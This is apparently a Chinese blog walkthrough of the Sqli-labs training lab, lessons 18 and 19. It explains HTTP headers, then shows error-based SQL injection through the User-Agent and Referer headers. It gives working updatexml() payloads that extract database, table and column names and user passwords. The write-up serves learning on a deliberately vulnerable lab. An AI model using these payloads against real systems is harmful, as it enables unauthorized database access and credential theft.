Sqli-labs Less18-Less23 HTTP头

Cyan1u

已于 2024-07-25 18:54:44 修改

阅读量621

点赞数 21

分类专栏： # Sqli-labs 文章标签： http 网络协议

于 2024-07-25 18:52:53 首次发布

本文链接：https://blog.csdn.net/beiweixiaotian66/article/details/140697385

版权

Sqli-labs 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

文章目录

HTTP头
Less_18 User-Agent
- - 手工注入
Less_19 Referer
- - 命令为：
Less_20 Cookie
Less_21 Cookie
Less_22 解密编码
Less_23 注释符过滤绕过

HTTP头

常见的HTTP请求头

Host：指定请求的服务器的域名和端口号，用于服务器区分请求的域名。
Connection：指定连接方式，如“keep-alive”表示持久连接，或“close”表示关闭连接。
Accept：指定客户端能够接受的媒体类型，如“text/html”、“application/json”等。
Accept-Encoding：指定客户端能够接受的压缩格式，如“gzip”、“deflate”等。
Accept-Language：指定客户端偏好的语言，如“zh-CN”、“en-US”等。
User-Agent：指定客户端的浏览器或应用程序信息，如“Mozilla/5.0”等。
Referer：指定请求来源的URL，用于服务器分析请求来源。
Authorization：用于身份验证，如“Basic”或“Bearer”等。
Cookie：用于存储客户端的会话信息，如登录状态等。
Content-Type：指定请求体的媒体类型，如“application/x-www-form-urlencoded”、“multipart/form-data”等。
Content-Length：指定请求体的长度，用于服务器确定请求体的结束位置。
If-Modified-Since：用于缓存控制，表示客户端只接受在指定时间之后修改过的资源。
Range：用于请求资源的一部分，如“bytes=0-1023”表示请求资源的前1024个字节。

Less_18 User-Agent

sqli-labs 通关指南：Less 18、19 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

手工注入

这道题直接在页面上就可以看到ip信息

和上题一样，只有登录成功后才可以看见底下有个报错，有个User-Agent ,猜测是User-Agent存在注入，如果不登陆成功的话，抓包改数据都没法回显

直接查看源代码，发现有个insert，这是个插入的sql语句，将useragent和ip插入到数据库中

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分，从哪个网页了链接过来的
X-Forwarded-For 简称XXF头，代表客户端，用来记录代理信息，每经过一级处理，代理服务器都把这次请求的来源IP追加在XFF头上
COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据（通常经过加密）
X-Real-IP:是一个自定义的Header，一般只记录真实发出请求的客户端IP
Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

数据中的sql语句为：INSEERT INTO table VALUES(‘User-Agent’,‘Ip’,‘Username’)

抓包，改User-Agent为单引号，出现报错信息

使用单引号闭合后，使用 “#” 注释掉后面的语句，注入失败。注入 2 个连续的单引号，发现闭合成功，由此可见 2 个单引号分别闭合了 2 侧的单引号

这是我们知道了源代码的前提下：

用两个单引号来闭合或者用1',1,1)#

因为INSEERT INTO table VALUES(‘1’,1,1)#',‘Ip’,‘Username’),可以成功绕过

然后用update()报错注入

就挨着爆表名，列名，字段名就行

如果上面用单引号闭合的话

' OR updatexml(1,concat(0x5c,database()),0x5c) OR '

因为插入updatexml()要用OR进行连接

INSERT INTO 'security'.'uagents' ('uagent', ‘ip_address', 'username') VALUES ('' OR updatexml(1,concat(0x5c,database()),2) OR '', '127.0.0.1', 'admin')

Less_19 Referer

和上题差不多，正确登陆后，显示了一个Referer,猜测可能是Referer的注入，抓包

在Referer那里修改即可

查看页面源码为：
$insert="INSERT INTO 'security'.'referers'('referer', 'ip_address') VALUES ('$uagent', '$IP')";

命令为：

'OR updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)'  数据库名
'OR updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1) OR'  爆列名
' OR (updatexml(1,concat(0x5c,(SELECT concat(username,password) FROM (SELECT username,password from users)text LIMIT 1,1)),1)) OR ' 查密码和用户名
'OR updatexml(1,concat(0x7e,(select username from users limit 0,1)),3) OR'  查用户名
'OR updatexml(1,concat(0x7e,(select password from users limit 0,1)),3) OR'  查密码